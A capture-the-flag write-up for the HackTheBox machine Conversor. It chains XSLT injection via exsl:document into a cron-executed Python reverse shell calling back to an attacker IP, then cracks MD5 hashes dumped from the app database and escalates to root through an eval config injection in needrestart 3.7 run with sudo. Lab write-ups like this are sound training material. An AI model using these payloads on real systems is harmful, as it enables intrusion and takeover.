RECON
Port Scan
$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=
| 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelThe target vhost is conversor.htb, fronted by Apache 2.4.52 over HTTP. SSH is exposed on port 22 for remote logon after harvesting creds. A classic Linux setup.
Web App
Accessing the root domain drops us straight into /login — a minimal registration portal. Once inside, we're greeted by a utility masquerading as a harmless XML-to-HTML converter, but we know better. This thing consumes user-supplied XSLT to prettify Nmap XML — a risky combination if mishandled:

The UI exposes two upload fields (xml_file, xslt_file) and posts a multipart form to /convert. Static assets live under /static (e.g., nmap.xslt template). On success the server applies the uploaded XSLT to the uploaded XML and returns the transformed result for viewing or download.
Bonus: /about casually offers up source code for download:

We're looking at a white-box attack surface with a ripe XML/XSLT injection vector just begging to be exploited.
WEB
XSLT
Overview
XSLT — Xtensible Stylesheet Language Transformations — is an XML-driven language used to morph XML into other formats: HTML, plain text, even more XML.
Think of it as a server-side templating engine. When user-controlled, it behaves like SSTI on steroids.
For reference, see this live example demonstrating how
.xmland.xsltfiles interact.
The application helpfully drops a baseline stylesheet at http://conversor.htb/static/nmap.xslt:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<html>
<head>
<title>Nmap Scan Results</title>
<style>
...
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<h3><xsl:value-of select="nmaprun/@args"/></h3>
<xsl:for-each select="nmaprun/host">
<div class="card">
<div class="host-header">
Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
<xsl:if test="hostnames/hostname/@name">
(<xsl:value-of select="hostnames/hostname/@name"/>)
</xsl:if>
</div>
<table>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>State</th>
</tr>
<xsl:for-each select="ports/port">
<tr>
<td><xsl:value-of select="@portid"/></td>
<td><xsl:value-of select="@protocol"/></td>
<td><xsl:value-of select="service/@name"/></td>
<td>
<xsl:attribute name="class">
<xsl:value-of select="state/@state"/>
</xsl:attribute>
<xsl:value-of select="state/@state"/>
</td>
</tr>
</xsl:for-each>
</table>
</div>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>To validate structure compatibility, we craft a test .xml matching the above tags:
<?xml version="1.0"?>
<nmaprun args="nmap -sV -oX output.xml 10.0.0.5">
<host>
<status state="up"/>
<address addr="10.0.0.5" addrtype="ipv4"/>
<hostnames>
<hostname name="target.local"/>
</hostnames>
<ports>
<port protocol="tcp" portid="22">
<state state="open"/>
<service name="ssh"/>
</port>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http"/>
</port>
</ports>
</host>
</nmaprun>The result: a clean, styled HTML output:

But here's the kicker — the app accepts arbitrary user-supplied XSLT. That means attacker-controlled transformation logic. If the engine supports it, features like document() or external includes (xsl:include) can be weaponized into file read, SSRF, or even RCE, depending on backend configuration.
Attack Vectors
Crucial constructs and primitives available in XSLT 1.0:
<xsl:template match="...">— Defines transformation rules.<xsl:value-of select="..."/>— Extracts XPath-evaluated node values.document()— Loads and parses external XML (viafile://,http://) → SSRF & LFI risk.xsl:import/xsl:include— Pulls in remote stylesheets.- Extension functions — Some XSLT processors (e.g., Xalan, Saxon, or .NET) allow dangerous native bindings.
See detailed payloads on HackTricks - XSLT Injection.
Initial Probe
To isolate and test the injection vector, we dummy the XML:
echo '<root/>' > dummy.xmlFingerprint
Then, upload a probing .xslt payload to fingerprint the backend processor. Example: XSLT Fingerprint PoC:
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>Server responds:

It tells us exactly what engine the server uses and, therefore, what attack surface we can reasonably expect:
Version: 1.0→ XSLT 1.0 (so libxslt/xsltproc feature set).Vendor: libxslt&Vendor URL: http://xmlsoft.org/XSLT/→ the server runs libxslt (the common C library).
So, libxslt supports document() and will usually allow file:// and http:// URIs unless the application has explicitly sandboxed or disabled external access.
LFR / SSRF
We begin the offensive by probing for local file read (LFR) and server-side request forgery (SSRF) via user-supplied XSLT.
Hacktricks drops a tempting PoC using unparsed-text():
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:abc="http://php.net/xsl"
version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>But there's a catch: unparsed-text() is XSLT 2.0+, and our target engine is locked to XSLT 1.0, powered by libxslt. So we cannot use the PoC directly.
In XSLT 1.0, we can try the document() function. It fetches and parses external resources — from both file:// and http:// URIs. That gives us classic LFR and SSRF vectors... if the backend allows resolution.
We craft a payload to probe for both:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="/">
<html><body>
<h2>LFR probe results</h2>
<h3>/etc/passwd</h3>
<pre><xsl:for-each select="document('file:///etc/passwd')"><xsl:value-of select="."/></xsl:for-each></pre>
<h2>SSRF probe results</h2>
<h3>127.0.0.1:80</h3>
<pre><xsl:for-each select="document('http://127.0.0.1:80/')"><xsl:value-of select="."/></xsl:for-each></pre>
</body></html>
</xsl:template>
</xsl:stylesheet>Clean error across the board:

Cannot resolve URI — the message is consistent. Whether file or HTTP, the resolution fails silently. We've hit a containment line. libxslt is present, but external resource resolution is sandboxed or explicitly disabled.
Black-box probing ends here.
Code Review
After pulling down and unpacking source_code.tar.gz, the directory layout gives us a bird's-eye view of the stack:
$ md src
$ tar xvaf source_code.tar.gz -C src
$ tree src
src
├── app.py
├── app.wsgi
├── install.md
├── instance
│ └── users.db
├── scripts
├── static
│ ├── images
│ │ ├── arturo.png
│ │ ├── david.png
│ │ └── fismathack.png
│ ├── nmap.xslt
│ └── style.css
├── templates
│ ├── about.html
│ ├── base.html
│ ├── index.html
│ ├── login.html
│ ├── register.html
│ └── result.html
└── uploads
7 directories, 15 filesThe application is written in Flask, backed by a local SQLite3 database (users.db). The main logic resides in app.py.
app.py
The core functionality is compact and easily audited. Here's what stands out:
app = Flask(__name__)
app.secret_key = 'Changemeplease' # weak static key
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)Default secret key? Check. MD5-hashed passwords? Also check:
password = hashlib.md5(request.form['password'].encode()).hexdigest()If we ever leak the database, cracking user creds will be effortless.
The vulnerable heart lies in /convert:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
...
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
...
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)Two major flaws emerge:
- Unvalidated file names: Both
xml_file.filenameandxslt_file.filenameare joined into the filesystem path directly → classic path traversal, leading to arbitrary file write underuploads/. - XSLT injection: User-supplied XSLT passed to
lxml.etree.XSLT()— already confirmed exploitable in theory.
However, our earlier probes hit a wall due to a hardened parser setup:
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)No XXE, no external entity resolution — the reason why our previous LFR/SSRF probes failed.
install.md
Inside install.md, buried beneath deployment instructions, lies the real jackpot:
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""Every minute, the system executes any *.py script inside /var/www/conversor.htb/scripts/ as the www-data user. That's a low-priv shell trigger — if we can drop arbitrary Python code into that folder, it gets executed automatically.
Exploit
Now we are clear on the victim setup:
- A direct file read via
document()is blocked — hardenedXMLParserconfig. - But if we can manage a file write under
/var/www/conversor.htb/scripts/with a malicious Python script, we can achieve RCE.
The goal now is clear: bypass parser restrictions and achieve arbitrary file write into that cron-monitored path.
Extension Element
Fortunately, the parser restrictions stop at parsing — they don't touch the transformation phase. And that's where XSLT Extension Elements come into play: a lesser-known, yet incredibly potent bypass.
According to the XSLT 1.0 spec, we can define custom namespaces inside a stylesheet, allowing the processor to interpret unknown tags using registered handlers. In real terms:
- XSLT defines standard tags like
<xsl:template>,<xsl:value-of>, etc. - Processors like libxslt, Saxon, or Python's lxml allow custom extension elements and functions.
- These are linked to handlers written in native code — C, Python, Java — giving them unfiltered access to the host environment.
The exploit mechanic:
A malicious XSLT declares a custom namespace:
extension-element-prefixes="axura"That single line tells the processor:
When you see elements in the
axuraprefix/namespace, treat them as extension instructions — call their special handler.
And here's the weaponized scaffold:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:axura="https://4xura.com/xsl-ext"
extension-element-prefixes="axura">
<xsl:template match="/">
<axura:payload/>
</xsl:template>
</xsl:stylesheet>When the engine encounters <axura:payload>, it skips normal transformation and hands off execution to the registered handler — which, in the case of lxml, can be arbitrary Python.
If the backend hasn't restricted these extension bindings, this bypasses every parser-level security control.
EXSLT
So how do we actually write a file to /var/www/conversor.htb/scripts/?
Previously, we crafted a custom namespace (axura) and referenced https://4xura.com/xsl-ext — implying the engine would fetch and resolve external handler logic. But this is HackTheBox — no outbound Internet. That approach dies in the sandbox.
Instead, we pivot to a universal solution: EXSLT.
EXSLT is a community-driven set of standardized XSLT extension elements and functions — a kind of “standard library for XSLT” — built to fill gaps in the core language. It's structured into modules (Common, Math, Sets, Dates, etc.), and processors like libxslt often support them natively.
The golden payload here is exsl:document, which turns Stylesheets Into shellcode Droppers.
The document() here, differentiate from the previous one in XSLT 1.0 docs, allows a stylesheet to output extra files in addition to the primary transformation. It accepts:
href→ absolute or relative path to write.method→ serialization format (text,html,xml).- Element content → the file's body.
This means we can embed a payload inside a .xslt, and when it runs, it writes a new file to disk — no document() trickery, no Internet, just pure extension magic.
Example: Writing a Python payload into cron territory.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/conversor.htb/scripts/poc.py" method="text">
Malicious Python Script
</exsl:document>
</xsl:template>
</xsl:stylesheet>If the backend's libxslt has EXSLT support enabled and unrestricted, this will succeed — silently dropping a shell, command, or backdoor into the scripts/ folder, where cron picks it up and executes it within 60 seconds.
PoC
To confirm EXSLT write capability, we craft a minimalist PoC. The idea: write a marker file (exslt_probe.txt) into /static/ — a readable path served by the webserver.
Payload: exslt_write_probe.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="/">
<!-- Write proof to webroot -->
<exsl:document href="/var/www/conversor.htb/static/exslt_probe.txt" method="text"><![CDATA[
EXSLT_WRITE_OK
]]></exsl:document>
<!-- Visible confirmation in output -->
<html><body><h2>Probe submitted</h2><p>Check /static/exslt_probe.txt</p></body></html>
</xsl:template>
</xsl:stylesheet>Upload it with any dummy XML, and if the engine honors exsl:document, the file gets dropped — like so:

Confirm success by fetching the file directly:

EXSLT confirmed active. File write confirmed. Attack path confirmed.
RCE
Now that we've confirmed EXSLT is fully operational, it's time to detonate.
Plan of attack:
Write a malicious Python script to
/var/www/conversor.htb/scripts/and let the cronjob execute it automatically aswww-data.
This .xslt uses exsl:document to write a live reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="/">
<!-- Drop a Python reverse shell into the cron-monitored scripts/ folder -->
<exsl:document href="/var/www/conversor.htb/scripts/xpl.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.13.11",60001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
</exsl:document>
<!-- Visible output to confirm transform ran -->
<html><body><h2>Exploit succeeds</h2><p>Check listener</p></body></html>
</xsl:template>
</xsl:stylesheet>Start a listener in advance, upload the crafted XSLT with a dummy XML file. Wait until we catch a callback from www-data:

Reverse shell caught.
USER
Earlier, we noted that app.py uses insecure MD5 hashing for user passwords and stores them inside. Now that we've achieved code execution as www-data, dumping that database is trivial.
$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|axura|96e79218965eb72c92a549dd5a330112Run the hashes through john using a classic wordlist:
$ john --wordlist=~/wordlists/rockyou.txt hashes.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (?)
1g 0:00:00:00 DONE (2025-10-25 23:59) 2.222g/s 24384Kp/s 24384Kc/s 24384KC/s Keisean1..Keeperhut141
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completedAttempt SSH login with the cracked credentials fismathack / Keepmesafeandwarm:

User flag captured.
ROOT
Sudo
Privilege escalation here is clean-cut and trivial.
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestartneedrestart is a Perl-based binary with root privileges:
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executableWe now have read access, sudo execution, and a wide attack surface (~1471 lines of Perl code):
fismathack@conversor:~$ cat /usr/sbin/needrestart | wc -c
43578
fismathack@conversor:~$ cat /usr/sbin/needrestart | wc -l
1471Perl Exploit
Instead of manually reviewing 1.4k lines, in this writeup let me bring in an exploit strategy for Perl with perlcritic, a linter for security and idiomatic flaws.
First take a look into its help manual:
fismathack@conversor:~$ sudo needrestart --help
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <[email protected]>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version informationWe discover that needrestart is an open-source project hosted on GitHub. The latest available version is 3.11, while the victim machine runs version 3.7 — a potentially outdated and unaudited build.
Rather than manually combing through nearly 1500 lines of Perl, we apply
perlcritic, a static analyzer purpose-built to uncover idiomatic flaws and unsafe patterns in Perl scripts. Perfect for surfacing classic issues like unsafeopen(), dynamiceval, or shell command injection.
Clone the exact version used by the victim:
git clone --branch v3.7 --single-branch --depth 1 https://github.com/liske/needrestart.gitInstall perlcritic if you haven't owned yet:
curl -L https://cpanmin.us | perl - --sudo App::cpanminus
sudo cpanm --notest Perl::CriticRun the scan:
perlcritic --severity 5 ./needrestartThe punchline:

eval on user-supplied config file:
- “Expression form of eval” around line ~220 in
needrestart - “Two-argument open used” at line ~222
That's exactly the pattern of: open the -c <cfg> file → eval its contents.
Review on the specific code lines:
fismathack@conversor:~$ sed -n '210,230p' /usr/sbin/needrestart
# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
local $/;
open my $fh, $opt_c or die "ERROR: $!\n";
my $cfg = <$fh>;
close($fh);
$cfg;
};
die "Error parsing $opt_c: $@" if($@);local $/;— sets the input record separator toundefinside this block, so the next<$fh>slurps the entire file in one go.open my $fh, $opt_c— opens the file we pass with-c <file>. No sanitization, just “read whatever this path is”.my $cfg = <$fh>;— reads all bytes of that file into$cfg.- The killer move: the block returns
$cfg;and that return value is fed toeval. In Perl,eval STRINGexecutes Perl code contained in that string. - If parsing/execution throws, it bubbles via
$@and theydiewith “Error parsing …”.
This is a textbook case of Perl config injection. The moment we invoke:
sudo needrestart -c /path/to/malicious.pl…it gets executed before any logic in needrestart runs. No escaping. No filters.
In Perl, many tools load config with
do $fileoreval—both execute Perl.perlcriticflag “Expression form of eval” confirms the execution path.
Write a minimal backdoor for installing an suid bash:
cat > /dev/shm/pwn.pl <<'PL'
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
PLRun needrestart as root and print a debug line that we can inspect the trigger clearly:
sudo needrestart -c /dev/shm/pwn.pl -r l -vWe see the eval occurs immediately while parsing options/config — before any restart checks:

SUID bash planted:

Rooted.
Comments | NOTHING